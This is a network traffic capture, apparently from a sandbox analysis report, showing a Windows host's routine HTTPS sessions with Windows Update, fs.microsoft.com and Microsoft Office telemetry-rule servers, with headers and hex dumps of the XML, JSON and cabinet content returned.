2024-11-25 13:14:24 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 13:14:24 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N9o2mW8ABLwWHod&MD=ycxe2skd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 13:14:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e14dfff9-4268-4f0b-b8d1-da03387d90b9 MS-RequestId: a17becde-24e4-4ebc-bf19-0aa5c3551c80 MS-CV: BbMdmKdUwU6Uauad.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 13:14:25 GMT Connection: close Content-Length: 24490
2024-11-25 13:14:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 13:14:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49725	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 13:14:26 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=73143 Date: Mon, 25 Nov 2024 13:14:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:26 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:26 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131426Z-15b8b599d88z9sc7hC1TEBkr4w000000063g00000000a7vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:26 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131426Z-178bfbc474bv7whqhC1NYC1fg400000007m00000000038e2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:26 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: eed78853-a01e-0070-6be3-3e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131426Z-15b8b599d88qw29phC1TEB5zag00000005x000000000eedv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:26 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:26 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:26 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8db92378-201e-003f-2cbf-3e6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131426Z-178bfbc474bscnbchC1NYCe7eg00000007hg00000000eeec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:26 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:26 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:26 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131426Z-15b8b599d88s6mj9hC1TEBur3000000005u0000000009g3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:26 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49736	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 13:14:28 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=73139 Date: Mon, 25 Nov 2024 13:14:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 13:14:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:28 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131428Z-174c587ffdfb485jhC1TEBmc1s00000005v0000000008692 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:28 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:28 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131428Z-174c587ffdfb5q56hC1TEB04kg00000005t000000000pwve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:28 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:28 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 51fbd25c-e01e-0020-5e4d-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131428Z-15b8b599d88m7pn7hC1TEB4axw000000063g000000003hy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:28 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
